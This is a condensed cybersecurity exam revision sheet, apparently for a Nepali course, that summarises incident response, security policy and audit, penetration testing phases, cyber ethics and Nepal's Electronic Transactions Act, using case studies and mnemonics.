- SOC oversight
- Third-party risk
- Awareness
- Reporting
Post-quantum cryptography TOP 2/4
Post-quantum cryptography (PQC): public-key algorithms that resist both classical and quantum computers, built on problems (lattices, hashes) hard for both, running on today's hardware
- Threat: Shor breaks RSA, Diffie-Hellman, ECC; Grover halves AES strength; AES-256 stays safe
Why already offered
- Harvest now, decrypt later
- Mosca's inequality
- Migration takes years
- Standards are final
- Government deadlines
- Long-lived products
- Cheap to starthybrid
- Market demand
- Mnemonic: Hackerle Mobile Message Saachyo, Gaadimaa Laptop Chhodyo, Mutyo
Chapter 6: Incident detection and response
6 hours · 10 of 80 marks in the syllabus · in all 4 sittings
Events, attacks and incidents PREDICTED
Security incident: an event that affects the confidentiality, integrity or availability of information resources and assets in the organization
- Event vs incident: event: any observable occurrence (a login); incident: CIA harmed or policy broken (ransomware)
A valid attack is an incident when
- Directed at information assets
- Realistic chance of success
- Threatens CIA
- Sources: alerts, logs, people, public information
The detection step asks
- Who or what detected
- When (GMT)
- How
- Already reported?
- Valid?
Types of incident PREDICTED
Incident types: the kinds of incident an organization expects and writes a playbook for
Data walks out
- Insider data theft
- Sensitive data leaks
- Breaches
- Trade secrets leaks
Attackers walk in
- Phishing attacks
- Third-party vendor attacks
- Ransomware attacks
- Malware attacks
- Example (Ryuk): phishing email, then malware (Emotet, TrickBot), then ransomware: three types, one incident
Categorising an incident PREDICTED
Incident classification: labelling a confirmed incident by category (what kind) and severity (how much harm), for the right playbook and priority
The course's six categories
- Denial of service
- Malicious code
- Unauthorized useaccess misused
- Unauthorized accessnever granted
- Unplanned downtime
- Other
The categorisation step
- Target
- Live or stopped
- Impact
- PriorityP1 to P3
- Communicationrestricted, unrestricted
- Severity (NIST): functional impact, information impact, recoverability
- Example (Ryuk): malicious code, live, financial impact, P1, restricted
Incident response plan (IRP) HOT 1/4
Incident response plan (IRP): a detailed set of processes and procedures that anticipate, detect and mitigate the impact of an unexpected event that might compromise information resources and assets
- Reactive, still needed: not if, but when
NIST SP 800-61 Rev. 2
- Preparation
- Detection and analysis
- Containment, eradication, recovery
- Post-incident activity
An IRP helps
- Prepare for a crisisreduce risk
- In a crisislimit damage
Ruin the attacker's economic model
- Break the known attack playbook
- Rapid response and recovery
- Eliminate other attack vectors
The eight step IRP framework TOP 3/4
Incident handling and response: the planned, repeatable procedure from preparing for an incident to learning from it
The course's IRP framework, eight steps
- Preparation
- Detection
- Categorisation
- Containment
- Investigation
- Remediation
- Reporting
- Lessons learnt
- Mnemonic: Pulis Daai Chiya Chhodera Inaarma Rakshi Rakhera Lukyo
- Example (Ryuk): playbooks; EDR alert; P1; isolate PC; find entry (macro); reimage; report; root cause
- NIST phases: 1 preparation; 2, 3 detection and analysis; 4 to 6 containment, eradication, recovery; 7, 8 post-incident
Do not make things worse PREDICTED
Do not make things worse: five rules held at every step: a response must not add damage, alert the attacker or destroy the proof
The five rules
- No engaging the hacker
- No connecting to threat networks
- Preserve evidence
- Communication via management
- Confidential details
- Mnemonic: Hacker Nepalma Euta Momo Churaayo (hacker, network, evidence, management, confidential)
Preparation: team, plan and kit PREDICTED
Step 1 prepares
- Incident response plan
- Playbooks
- Logistics
- Contacts
- Support documents
- Team structure: central, distributed, coordinating
- Staffing: employees, partially outsourced, fully outsourced
- Also ready: jump kit, SIEM and EDR, offline backups, tabletop exercises
Containment and remediation PREDICTED
Containment: stopping an incident spreading or causing more harm before its cause is removed
Containment strategies
- Isolate host
- Disable accounts
- Block indicators
- Segment network
- Service offline
- Halt operations
- Filter, rate limit
- Sandbox the attacker
- Choosing (NIST criteria): damage, evidence, availability, time and resources, effectiveness, duration
Remediation removes the cause
- Network
- Malware
- System
- User
- Declare remediated
- Declared: full, partial, or accepted residual risk
- Recovery: reimage, restore clean backups, phased return
Investigation PREDICTED
Questions, in attack order
- Getting ininitial vector
- Staying inC2, persistence
- Spreadingprivilege, lateral movement
- Takingexfiltration
Five analyses
- Network
- Malware
- System
- User
- Research
- Output: scope, root cause, timeline; into remediation
Evidence and chain of custody PREDICTED
Chain of custody: the unbroken, documented record of who collected and held evidence, when and how; proves to a court it is unaltered
Order of volatility
- Registers, cache
- Memory
- Disk
- Remote logs
- Backups
- Handling: write blocker, SHA-256 hash, copies only
Triage through the SOC tiers PREDICTED
Incident triage: the quick first assessment of an alert: real incident or not, what kind, how urgent
Triage steps
- Receive and log
- Validate
- Enrich
- Scope
- Categorize, prioritize
- Act or escalate
- SOC tiers: 1 triage; 2 incident response; 3 forensics, hunting
Escalation PREDICTED
Escalation, two directions
- Functionalmore skill
- Hierarchicalmore authority
- Triggers: P1 or P2, spread, personal data exposed, employee involved, crime, media, SLA missed
- Deadlines: GDPR 72 hours; NRB immediately
Post-incident analysis PREDICTED
Post-incident analysis: the review after an incident closes: what happened, why, how well the response worked, what must change
Lessons learnt, step 8
- Root cause analysis
- Controls readiness
- Incident trends
- Mitigation plan
- Improvements plan
- Meeting: within days, blameless, everyone involved
- RCA: five whys, fishbone; Equifax root causes: stale asset list, expired certificate
- Metrics: MTTD, mean time to detect; MTTR, mean time to respond
The incident report PREDICTED
Reporting, step 7
- Ongoing reporting
- Evidence gathering
- Incident documentation
- Incident register
- Report communication
- Contents: executive summary, timeline, scope and impact, root cause, actions taken, IoCs, recommendations
- Readers: board, IT and security, legal, regulators, customers, law enforcement
Seven recent attacks PREDICTED
Seven recent attacks
- SolarWindsbackdoored updates
- Exchange Serverzero-days
- LastPasskeylogger, vault backups
- UberMFA fatigue
- Oktasupport contractor
- T-Mobileexposed router
- ColonialVPN, no MFA
- Lesson: most began with a basic control missing: MFA, a patch, a guarded password
Insider case: the terminated vice president COURSE
Insider threat: a threat from someone who has, or had, authorized access: employee, former employee, contractor, partner
- What happened: terminated VP of technology logged in remotely three years later; read HR and executive email five months
- Harm: confidential email exposed; over USD 100,000 to investigate; reputation, legal exposure
Factors
- No offboarding
- Unchanged credentials
- Concentrated privilege
- No access review
- No monitoring
- Password-only remote access
Prevention
- Offboarding
- Credential reset
- Password policy
- MFA
- Access reviews
- Least privilege
- Monitoring
WannaCry, 2017 PREDICTED
- What happened: ransomware worm through SMBv1 (EternalBlue), patched two months earlier (MS17-010); NHS trusts hit
- Lesson: patch critical alerts in days; block port 445; segment; test the plan; offline backups
Equifax, 2017 PREDICTED
- What happened: unpatched Apache Struts flaw exploited on a dispute portal; expired certificate blinded monitoring for months
- Lesson: asset inventory with owners; critical patches in days; track certificates; segment data; disclose fast
SolarWinds, 2020 PREDICTED
- What happened: Russia's SVR put the SUNBURST backdoor into signed Orion updates; customers installed it; hidden for months
- Lesson: suppliers are attack surface: build integrity, SBOM, anomaly detection, least privilege for tools
Colonial Pipeline, 2021 PREDICTED
- What happened: DarkSide ransomware via a legacy VPN password, no MFA; IT encrypted, whole pipeline halted; ransom paid
- Lesson: remove unused VPN accounts; MFA on remote access; segment IT from OT; offline backups
Uber, 2022 PREDICTED
- What happened: contractor's stolen password; MFA pushes until one accepted; admin password in a script; Slack announcement
- Lesson: number matching or phishing-resistant MFA; secrets in a vault; never engage the hacker
Chapter 7: Security policy and audit
4 hours · 7 of 80 marks in the syllabus · in 2 of the 4 sittings
Breaches as policy failures PREDICTED
- Pattern: a missing control that policy never required, enforced or verified
Landmark cases, the gap
- Equifax 2017unpatched Struts
- WannaCry 2017unpatched MS17-010
- Marriott 2018acquisition due diligence
- SolarWinds 2020supply chain
Security policy framework PREDICTED
Security policy framework (SPF): the structured set of documents (policies, standards, baselines, guidelines, procedures) that turns management's intent for protecting information assets into enforceable, auditable rules
Purposes of a policy
- Management intent
- Structure
- Productive work environment
- Responsibility
- Legal protectiondue care
- Consistency, compliance
- Less exposure, faster response
- Audit yardstick
- Paradox: least expensive control; hardest to implement (depends on people)
Security governance PREDICTED
Governance sits over
- PeopleCISO, owners, users
- Processpatching, access review
- Technologyfirewall, SIEM, EDR
- Committee: approves every project, policy and purchase; monitors compliance
Policy hierarchy PREDICTED
Policy hierarchy: five layers from management intent down to exact steps: policy, standard, baseline, guideline, procedure; all mandatory except the guideline
- Mnemonic: Police Sipahi Bhaagyo, Gaai Pachhyaayo
Effective, enforceable policy PREDICTED
Enforceable only if
- Developed
- Distributed
- Read
- Understood
- Agreed
- Uniformly enforced
Basic rules
- Never conflicts with law
- Stands up in court
- Supported, administered
- Serves the business
- Involves end users
NIST SP 800-14 policy types COURSE
NIST SP 800-14 policy types: the three kinds of security policy: enterprise (EISP), issue-specific (ISSP) and system-specific (SysSP)
Three types
- EISPstrategic, whole organisation
- ISSPtactical, one issue
- SysSPoperational, one system
- Examples: EISP: CEO-signed InfoSec policy; ISSP: email, BYOD, remote access; SysSP: firewall rule policy
- SysSP parts: management guidance (firewall: only HTTPS inbound); technical specifications (ACLs, configuration rules)
Everyday SPF documents PREDICTED
Six documents
- Acceptable use
- Access control
- Remote access
- Data breach response
- Disaster recovery
- Business continuity
- AUP sections: purpose, acceptable use, prohibited use, monitoring, responsibilities, enforcement, acknowledgement
- Password policy: length over complexity, breached-list screening, MFA, lockout
IRP, DRP and BCP PREDICTED
Contingency plans
- IRPhandles the attack
- DRPrestores IT
- BCPkeeps business running
- Fit: DRP is the technical part of the BCP; IRP hands over in a disaster
- Terms: RTO, downtime tolerated; RPO, data loss tolerated
Audit as assurance PREDICTED
IS audit: an assurance engagement assessing security risks and whether the controls adopted to mitigate them exist, work and meet policy, standards and law
Three parties
- Responsible partymanagement
- Practitionerauditor
- Intended usersboard, regulators, customers
- Reasonable, not absolute, assurance: sampling; findings to the audit committee
Types
- Financial
- Internal
- Statutory
- IS or IT
Subject areas, bottom up
- Data-centre facilities
- Networks
- System platforms
- Databases
- Applications
- Business processes
Six-phase IT audit process TOP 2/4
IT audit process: a repeatable six-phase cycle that tracks every finding to closure
Six phases
- Planning
- Fieldwork and documentation
- Issue discovery and validation
- Solution development
- Report drafting and issuance
- Issue tracking
- Mnemonic: Pappu Farted In School, Rani Inhaled
- Find, then fix: phases 1 to 3 find; 4 to 6 correct
- Action plans, weakest first: recommendation, management response, solution (agreed)
- Example: leavers' ERP accounts still active; HR leaver report added; re-sampled at 90 days, closed
Compliance and internal controls PREDICTED
Compliance: meeting the requirements that bind the organisation and proving it with evidence; internal controls are the mechanisms that keep each process on track
How the auditor judges
- Business purpose
- Risk to it
- Control mitigating it
- Findingcontrol missing, failing
- Example (payroll): risk: fictitious employee; control: HR approves hires, monthly reconciliation
- Floor, not a ceiling: a minimum, a sample, a snapshot; continuous monitoring between audits
Insider threat controls TOP 2/4
Insider threat: someone with legitimate access (employee, contractor, partner) misusing it, on purpose or by carelessness
Policy: prevent, deter
- Data classification
- Least privilege, need to know
- NDA, conflict of interest
- AUP monitoring notice
- Separation of duties
- Job rotation, mandatory vacation
- Screening, offboarding
Audit: verify, keep evidence
- Quarterly access reviews
- Data transfer audits
- Protected log trails
- Privileged, dormant accounts
Monitoring: detect in time
- DLP
- UEBA
- SIEM correlation
- CASB
- Watermarks, decoy files
Regulation, standard, framework PREDICTED
Outside rules
- Regulationlaw, mandatory
- Standardcertifiable specification
- Frameworkadaptable best practice
- Examples: GDPR, HIPAA; ISO 27001, PCI DSS; NIST CSF, CIS Controls
- Failing it: fines, legal action; lost certificate or contract; a gap to close
GDPR, HIPAA and SOC 2 PREDICTED
GDPR, HIPAA and SOC 2: two laws, on EU personal data and US health data, and one voluntary attestation of a service provider's controls
| GDPR | HIPAA | SOC 2 | |
|---|---|---|---|
| Core | 7 principles; 72-hour breach notice | Privacy, Security, Breach Notification Rules | 5 Trust Services Criteria |
| Failing it | up to EUR 20 million or 4% turnover | civil, criminal fines | no fine; lost customers |
- SOC 2 types: Type I, design; Type II, operation over months
ISO 27001, NIST CSF and more PREDICTED
ISO/IEC 27001 and NIST CSF: the certifiable international standard for an information security management system (ISMS), and NIST's voluntary, outcome-based framework of security functions
- ISO 27001: clauses 4 to 10, Annex A (93 controls), Statement of Applicability, PDCA
NIST CSF functions; 2.0 adds Govern
- Govern
- Identify
- Protect
- Detect
- Respond
- Recover
Others
- PCI DSS
- SOC 2
- CIS Controls
- COBIT
- ITIL
- Together: ISO 27001 to certify, NIST CSF to report
Three ways to assess security PREDICTED
Security assessment: a structured check of how well controls protect the organisation; three kinds, each answering a different question
| Audit | Vulnerability assessment | Penetration test | |
|---|---|---|---|
| Question | do the right controls exist? | what weaknesses? | can an attacker get in? |
| Method | checklist, evidence | automated scan | manual, human-led |
| Depth | broad, not deep | broad, shallow | narrow, deep |
| Exploits | no | no | yes, within rules |
| Output | compliance opinion | weakness list | attack path, impact |
Assessment lifecycle and authorisation PREDICTED
Assessment lifecycle
- Scope and plan
- Discover
- Analyse
- Report
- Remediate
- Verify
- Authorisation first: written permission and agreed scope; without them, testing is a crime
- Rules of engagement: scope, techniques, timing, data handling, contacts, stop conditions, signatures
Vulnerability scanning PREDICTED
Vulnerability scanning: automated, repeatable detection of known weaknesses, comparing systems against a database of known vulnerabilities (CVEs) and misconfigurations; it detects, never exploits
- Credentialed: logs in, reads patches, accurate; uncredentialed: the outsider's view
- Example (Equifax): the scan missed the vulnerable server: a false negative
- Tools: Nessus, OpenVAS; web: OWASP ZAP, Burp Suite
- Versus penetration test: automated, broad, frequent; pentest manual, deep, proves impact
Penetration testing PREDICTED
Penetration test: an authorised, goal-driven, largely manual attack simulation that exploits weaknesses to prove real-world impact
Six phases
- Reconnaissance
- Scanning and enumeration
- Gaining access
- Maintaining access
- Covering tracks
- Analysis and reporting
- Mnemonic: Ramesh Sasurali Gayo, Momo Chorera Aayo
Box types, by tester's knowledge
- Blacknothing, outsider
- Greypartial, insider
- Whiteeverything, full review
- Before phase 1: scope, rules of engagement, written authorisation
Findings report PREDICTED
Report sections
- Executive summary
- Scope and methodology
- Findings and evidence
- Risk rating
- Recommendations
- Conclusion, appendices
- Two audiences: executive summary for the board; findings and evidence for engineers
- One finding: ID, severity (CVSS), asset, evidence, impact, fix, status
CVSS and risk-based priority PREDICTED
CVSS bands
- Critical9.0 to 10
- High7.0 to 8.9
- Medium4.0 to 6.9
- Low0.1 to 3.9
- Base score: exploitability, scope, impact
- Context: medium on an exposed crown jewel outranks high on an isolated box
Remediation, tracking and re-test PREDICTED
Issue tracking
- Owner and due date
- Track
- Escalatelast resort
- Re-test
- Closewith evidence
- Re-test: an unverified fix is not a fix
- Accept when: fix dearer than loss, no fix, system retiring; signed, time-limited
Chapter 8: The ethics of cyber security
2 hours · 6 of 80 marks in the syllabus · in 3 of the 4 sittings
Ethical considerations HOT 1/4
Ethical considerations: the moral questions in protecting, monitoring, testing or attacking systems and data (privacy, authorisation, harm, honesty), judged even where no law decides
- Law against ethics: laws carry a government's sanctions; ethics do not
Considerations
- Privacy
- Authorisation, consent
- Confidentiality
- Honesty
- Avoiding harm
- Fairness
- Accountability
- Responsible disclosure
- Social responsibility
Three tests before acting
- Legal?
- Ethical?
- Code and policy?
- Act, record reasons
Ethics across cultures PREDICTED
- Point: the same computer use judged differently; cultural mores, history and laws differ
Conflicts
- Data privacyEU, US
- MonitoringUS, Germany
- PiracySweden, Indonesia
- WhistleblowingUK, Japan
- GiftsWest, China, Japan
- Leveller: education
Cyber crime and cyber terrorism PREDICTED
Cyber crime: a crime in which a computer or network is the target, the tool, or incidental (holds evidence); usually for personal gain
| Basis | Cyber crime | Cyber terrorism |
|---|---|---|
| Motive | personal gain | ideology, politics, religion |
| Target | individuals, businesses | government, critical infrastructure |
| Aim | profit, unnoticed | fear, coercion, serious harm |
| Example | Ryuk ransomware | CyberCaliphate hijack (2015) |
By motive
- Cyber crimemoney
- Hacktivisma cause
- Cyber terrorismfear
- Cyber warfarestate against state
Types of law PREDICTED
Types of law: law sorted by whom it governs and what it settles
Six types, with an example
- ConstitutionalConstitution 2072
- Civilcontract, property
- Criminaltheft, hacking
- AdministrativeNRB directives
- StatutoryETA 2063
- InternationalBudapest Convention
| Point | Civil law | Criminal law |
|---|---|---|
| Brought by | the plaintiff | the state |
| Proof | preponderance of evidence | beyond reasonable doubt |
| Outcome | compensation | prison, fine |
| Cyber case | Equifax breach settlement | hacking under the ETA |
Elements of a crime PREDICTED
Both proved beyond reasonable doubt
- Actus reusguilty act
- Mens reaguilty mind
- Strict liability: no mens rea needed; selling alcohol to a minor, over-speeding
- Example: ex-Google engineer (2024): file theft proved; espionage intent unproved
Legal frameworks PREDICTED
Legal systems
- Civilcodified statutes
- Commonprecedent
- Religiousdoctrine
- Nepalcivil, common mixed
- Key laws: UK Computer Misuse Act 1990; US CFAA, HIPAA, SOX; EU GDPR, NIS2, DORA
Budapest Convention and mutual legal assistance PREDICTED
- Budapest Convention (2001): Council of Europe treaty: offences, police powers, cooperation; Nepal not a party
Nine offences
- Illegal access
- Illegal interception
- Data interference
- System interference
- Misuse of devices
- Forgery
- Fraud
- Child pornography
- Copyright
MLA request
- Preserve
- Request
- Check
- Execute
- Return
Policy against law PREDICTED
- Key difference: ignorance of the law is no excuse; ignorance of a policy is a defence
Enforceable when
- Distributed
- Readily available
- Easily understood
- Acknowledged
- Uniformly enforced
Codes of ethics PREDICTED
- Bodies: ISC2, ISACA, SANS; a breach costs the certification
ISC2 canons, in priority order
- Protect society
- Act honorably
- Serve principals
- Advance the profession
Ten Commandments of Computer Ethics
- Harm
- Interfere
- Snoop
- Steal
- False witness
- Pirate
- Resources
- Plagiarise
- Consequences
- Respect
Intellectual property TOP 2/4
Intellectual property: creations of the mind (software, brands, inventions, formulas) that the law lets the owner control
| Point | Copyright | Trademark | Trade secret |
|---|---|---|---|
| Protects | expression of an idea | names, logos; avoids confusion | secret business information |
| Obtained | automatic on creation | registration | kept secret, NDAs |
| Term | life + 70 (Nepal 50) | 10 years (Nepal 7), renewable | while secret |
| Example | source code | a bank's logo | Coca-Cola formula |
Patent, for an invention: three criteria
- New
- Useful
- Not obvious
Privacy and data protection PREDICTED
Data protection: rules and safeguards for the lawful, fair and secure collection, use, storage and sharing of personal data
OECD principles
- Collection limitation
- Data quality
- Purpose specification
- Use limitation
- Security safeguards
- Openness
- Individual participation
- Accountability
Privacy impact assessment
- Screen
- Describe
- Consult
- Assess
- Rate risks
- Mitigate
- Sign off
- Roles: data subject, controller, processor
GDPR and Nepal's Privacy Act PREDICTED
GDPR: the EU's General Data Protection Regulation 2016/679, applied from 2018; binds any organisation serving or monitoring people in the EU
Seven principles
- Lawfulness, fairness, transparency
- Purpose limitation
- Data minimisation
- Accuracy
- Storage limitation
- Integrity, confidentiality
- Accountability
- Rights: access, rectification, erasure, restriction, portability, objection, no solely automated decisions
| Point | GDPR | Privacy Act 2075 (2018) |
|---|---|---|
| Regulator | independent authority | none; District Court |
| Breach notice | 72 hours | no duty |
| Penalty | EUR 20 million or 4% | 3 years or Rs 30,000 |
Ethical hacking PREDICTED
Ethical hacking: simulating real attacks with the owner's written permission, to find and fix weaknesses before criminals exploit them
Hats
- Whitewritten permission
- Greyuninvited, not malicious
- Blackuninvited, malicious
Before the first packet
- Authorisation
- Scope
- Rules of engagement
Engagement
- Pre-engagement
- Reconnaissance
- Scanning
- Gaining access
- Post-exploitation
- Reporting
- Clean-up, retest
- Law: ETA section 45, unauthorised access; good intent no defence
Responsible disclosure TOP 2/4
Responsible disclosure (coordinated vulnerability disclosure): report a flaw privately to the vendor, allow an agreed time (often 90 days) to fix it, publish after the patch or the deadline
Process
- Find, verify
- Report privately
- Vendor acknowledges
- Fix, CVE
- Patch released
- Publish, with credit
Models
- Fullpublic at once
- Non-disclosurenever public
- Responsibleafter the patch
- Example: bank URL shows another customer's balance: report privately, wait for the patch, then publish
Professional ethics PREDICTED
Three standards
- Professionalismprofessional standard
- Ethicscommon belief
- Moralitypersonal belief
Four pulls on the IS professional
- Professioncode
- Societysafety
- Statelaw
- Personal values
- Principles: integrity, confidentiality, competence, objectivity, least privilege, lawfulness, accountability
Deterrence PREDICTED
Terms
- monetary benefit
- psychological benefit
- crime's cost
- conviction's cost
- arrest odds
- conviction odds
All three needed
- Fear of penalty
- Probability of being caught
- Penalty administered
Organisational liability PREDICTED
- Point: the organisation pays for its staff's wrongdoing
- Due care: doing the right thing; due diligence: checking it is still done
Legally defensible security
- Crime committed
- Suspect did it
- Reasonable prevention efforts
- Example: Equifax (2017), unpatched Apache Struts
Social responsibility PREDICTED
- Point: protect society, not only the organisation: third parties, critical services, lives
Fulfilling it
- Protect critical services
- Share threat information
- Raise awareness
- Disclose responsibly
- Refuse harmful work
- Speak up
- Example: WannaCry disrupted the UK NHS (2017)
Whistleblowing TOP 2/4
Protecting whistleblowers: laws and policies shielding an insider who reports the organisation's wrongdoing in good faith: identity kept confidential, no firing, demotion or harassment
- Grey area: disloyal to the employer, loyal to the public interest
Channels, in order
- Internalmanager, hotline
- Authorityregulator, police
- Publicmedia, last resort
- Nepal: RTI Act 2064 section 29, public bodies only
- Example: engineer reports a skipped car safety patch to the regulator; cannot be fired
Cyber law in Nepal HOT 1/4
Cyber law in Nepal: the Constitution's rights and the Electronic Transactions Act 2063 (2008), with sector rules
| Section | Offence | Maximum |
|---|---|---|
| 44 to 46 | source code, access, damage | 3 years or Rs 2 lakh |
| 47 | illegal publication | 5 years or Rs 1 lakh |
| 48 to 50, 52 | confidentiality, false statement, false licence, fraud | 2 years or Rs 1 lakh |
- Mnemonic (44 to 52): Chor Aayo, Dudh Pakaayo, Chiura Fyaakyo, Laddu Rojyo, Fasyo
- Also: 54 accomplice, half; 55 from abroad; 56 confiscation
Gaps in Nepal's cyber law PREDICTED
Gap: fix
- Outdated offencesBudapest-aligned Act
- Vague section 47narrow offences
- Weak data protectionregulator, breach notice
- No evidence powerspreservation orders
- No IT Tribunalcyber benches
- No safe harbourresearchers, whistleblowers
- Reform: IT and Cyber Security Bill 2082 lapsed (2025)
All eight chaptersRecall sheet
Only what is hard to remember: the steps and phases in order, the types, the advantages and disadvantages, the numbers. No reasons and no explanations; each topic name opens its full card.
Chapter 1: Cyber security concepts and principles
Cybersecurity and its domains PREDICTED
- Definition: protect systems, networks, data from unauthorised access, attack, damage; preserve C, I, A
- Protects against: malice, mistakes, mischance; theft, fraud, disruption, destruction
- Domains: network, application, data, IAM, cloud, security operations, DR and BCP, governance, user education, physical; Jiang's nine branches; CISSP's eight
- Specialised areas: physical, personnel, operations, communications, network, information
- Impacts: operations 36%, finances 30%, reputation, customers; McKinsey CEO issue; Buffett's 20 years, five minutes
- Attack surface: cloud, unsanctioned cloud, internet-facing, on-premises, owned internet assets, IoT and mobile, supply chain, M&A; shadow IT
Cyber attack as warfare TOP 2/4
- Actors: cyber criminals, competitors, foreign states, APTs, hacktivists, hackers, insiders
- Economic: Bangladesh Bank 2016, NotPetya 2017, Norsk Hydro 2019, Colonial Pipeline 2021
- Political: Estonia 2007, Stuxnet 2010, Ukraine grid 2015, SolarWinds 2020
- Technical: TTPs, Ryuk two hours, big-game hunting, EternalBlue and WannaCry 2017, Log4j 2021, xz 2024
- Next: machine learning based approaches
- Nepal: NIC Asia Bank SWIFT fraud 2017
History of attacks PREDICTED
- Then vs now: CERT chart 1980 to 2000; sophistication up, intruder knowledge down
- OT timeline: Maroochy 2000, Davis-Besse 2003, Stuxnet 2010, Shamoon 2012, steel mill 2014, Ukraine powergrid 2015, LOT 2015
- Later entries: water treatment 2016, Mirai 2016, NotPetya 2017, TRISIS 2017, Labcore and VPNFilter 2018, Norsk Hydro 2019
- Stuxnet: infection, search, update, compromise, control, deceive and destroy
- WannaCry: MS17-010, mssecsvc.exe, kill switch, tasksche.exe, WanaDecryptor, .WNCRY
- Mirai: scan, report, send, load, join, command, check, attack, stay in touch; Minecraft origin
Supply chain attacks PREDICTED
- Idea: trusted supplier, signed update, one compromise, thousands of victims
- SolarWinds: APT29, SUNBURST, SUNSPOT, Orion, 18,000 customers, FireEye, December 2020
- Log4Shell: CVE-2021-44228; inject, log, look up, answer, execute; JNDI, LDAP; Minecraft
- XZ backdoor: Jia Tan, fake profiles, OSS-Fuzz, 5.6.0 and 5.6.1, liblzma, sshd, Andres Freund
- Defence: SBOM, third and fourth party risk, fast patching, egress monitoring, secure builds
The CIA triad HOT 1/4
- Confidentiality: authorised access only; at rest, in transit, in use; privacy
- Integrity: whole, complete, uncorrupted; unauthorised subjects, unauthorised changes
- Availability: timely, uninterrupted access; bandwidth, capacity, no DoS
- Threats: sniffing, virus or man in the middle, DoS and DDoS; deck: WikiLeaks, doxxing, ransomware, fake news, PDoS, MBR wiper
- Controls: encryption, access control; hashing, signatures, change control; RAID, clustering, backups, fail-over
- Deck fixes: TLS not SSL, no PPTP, CRC not tamper-proof
CIA priority and AIC PREDICTED
- Confidentiality first: military, government
- Availability first: private companies, OT
- OT systems: PLC, SCADA, DCS, MES, HMI
- AIC reasons: physical process, safety, real time, hard patching; false setpoint; data not secret
- Examples: Maroochy Shire, Davis-Besse, Stuxnet, TRISIS
- Guide: NIST SP 800-82 Rev. 3
Goals beyond the triad HOT 1/4
- Authenticity: genuine, verifiable; certificates, signatures
- Accountability: unique IDs, logs, audit trails, no shared accounts
- Non-repudiation: digital signature, private key; not a shared-key MAC
- Other goals: privacy, assurance (NIST SP 800-33), Parker's possession and utility
- Objectives: specific, measurable, dated; KPIs and KRIs
IAAA and MFA TOP 3/4
- IAAA: identification, authentication, authorization, accountability, non-repudiation; syllabus I4A
- Factors: knowledge, possession, inherence; somewhere you are, something you do
- MFA: two different categories; ATM card plus PIN
- MFA weaknesses: real-time phishing proxy, push fatigue (Uber 2022), SIM swap
- Phishing resistant: FIDO2, WebAuthn, passkeys, PKI smart cards, external security devices; origin binding
- Mandates: OMB M-22-09, CISA guidance
CNSS security model HOT 1/4
- Origin: McCumber 1991, NSTISSI No. 4011 (1994)
- Goals axis: confidentiality, integrity, availability
- States axis: storage, processing, transmission
- Measures axis: technology, policy and practices, education and training (human factors)
- Use: 27 cells, gap analysis, balance; example TLS for C, transmission, technology
Security design principles PREDICTED
- Saltzer and Schroeder: least privilege, fail-safe defaults, complete mediation, open design, economy of mechanism, separation of privilege, least common mechanism, psychological acceptability
- Operational: need to know, separation of duties, job rotation, mandatory vacations
- Modern: zero trust, NIST SP 800-207
- Caution: security through obscurity alone
Defence in depth PREDICTED
- Idea: independent layers, any single control fails
- Layers: policies and awareness, physical, perimeter, internal network, host, application, data
- Perimeter: firewall, VPN, packet filters, DMZ
- Inner layers: segmentation, IDS; patching, EDR; encryption, ACLs, backups
- Rules: vendor diversity, mixed functions, assume breach, depth follows risk
Risk vocabulary PREDICTED
- Terms: asset, threat, threat agent, vulnerability, exposure, risk, attack, breach, safeguard
- Chain: threat exploits vulnerability, harms asset, safeguards reduce risk
- Loose formula: threat × vulnerability × impact
- Deck loop: threats, vulnerabilities, exposure, risk, safeguards, assets
Threat categories and vulnerabilities PREDICTED
- Twelve categories: IP, service deviations, espionage, nature, human error, extortion, sabotage, software attacks, hardware, software, obsolescence, theft; deliberate, accidental, environmental
- Top eight attacks: phishing, ransomware, DoS, MitM, SQL injection, XSS, zero-day, DNS spoofing
- Threat assessment: probability, frequency, damage, recovery cost, prevention cost
- Vulnerability sources: software, configuration, process, people, physical, obsolescence; DMZ router table
- Naming: CVE, CVSS 0 to 10, NVD, zero-day
- Mnemonic: Old Taskar Dhilo Aayo, Nadi Tarda Haat Tutyo, Exam Copy, Ijjat Satyanaas
Risk management TOP 3/4
- Goal: acceptable level, never zero
- Process: identification, analysis, evaluation, treatment, review and monitoring
- Need: limited resources, residual risk, decisions, due care, compliance, continuity
- Sun Tzu: know yourself, know the enemy; three communities of interest
- Terms: appetite, inherent risk, residual risk, risk owner
- Standards: ISO 31000, ISO/IEC 27005, NIST SP 800-30, 800-39, 800-37
Risk identification PREDICTED
- Five steps: inventory, classify, value, identify threats, pinpoint vulnerable assets (Ishwor Chhatma Vodka Tanera Paltiyo)
- Inventory: people, procedures, data, software, hardware, networking; attributes per asset type
- Classification: comprehensive, mutually exclusive; top secret to unclassified; confidential, sensitive, public; clearances
- Weighted factor analysis: revenue 30, profitability 40, image 30; scores 100, 78, 75, 55, 41
- TVA worksheet: T1V1A1, priority of controls; threat identification separate, combined at end
- Deliverables: classification, weighted criteria, TVA, ranked vulnerability worksheets
Risk assessment HOT 1/4
- Inputs: likelihood, impact
- Whitman formula: L × V minus mitigated plus uncertainty; 55, 35, 12
- Ranked worksheet: impact × likelihood; 11, 11, 10, 10, 5.5, 2.5, 1
- Matrix zones: 1 to 5 low, 6 to 10 medium, 12 to 16 high, 20 to 25 critical
- Register examples: air conditioner high, DDoS moderate, flood very low, deletion low
Quantitative and qualitative analysis TOP 2/4
- Terms: AV, EF, SLE = AV × EF, ARO, ALE = SLE × ARO
- Safeguard value: ALE before minus ALE after minus ACS
- LCD case: SLE 500, ARO 3, ALE 1,500; 3,000 against 2,000; buy
- Online Nepal Mart: SLE 3,000,000, ALE 1,500,000 to 300,000, saving 800,000, ROSI 200 percent
- Qualitative: ratings, heat map, Delphi technique
- Methods: hybrid, FAIR
Security controls PREDICTED
- Types: administrative, technical, physical
- Functions: directive, deterrent, preventive, detective, corrective, recovery, compensating (Disha Darauchhe, Prahari Dekhchha, Chhito Rupaiyaan Chhopchha)
- Examples: fences, gates, locks; IDS, honeypots; patch, terminate, reboot, quarantine; re-issue access cards
- Selection: policies, programs, technical controls; risk rank, cost benefit
- Catalogues: NIST SP 800-53, ISO/IEC 27001 Annex A, CIS Controls
Risk treatment PREDICTED
- Strategies: avoid, transfer, mitigate, accept; terminate
- Examples: HTTPS, Rust; insurance, cloud; patching, IRP, BCP; third floor flood
- Acceptance: documented, signed, reviewed
- Decision chart: vulnerable, exploitable, gain over cost, loss over absorbable
- Residual risk: owned by management, inside appetite
NIST RMF and the ocean TOP 2/4
- Standard: NIST SP 800-37 Rev. 2, 2018
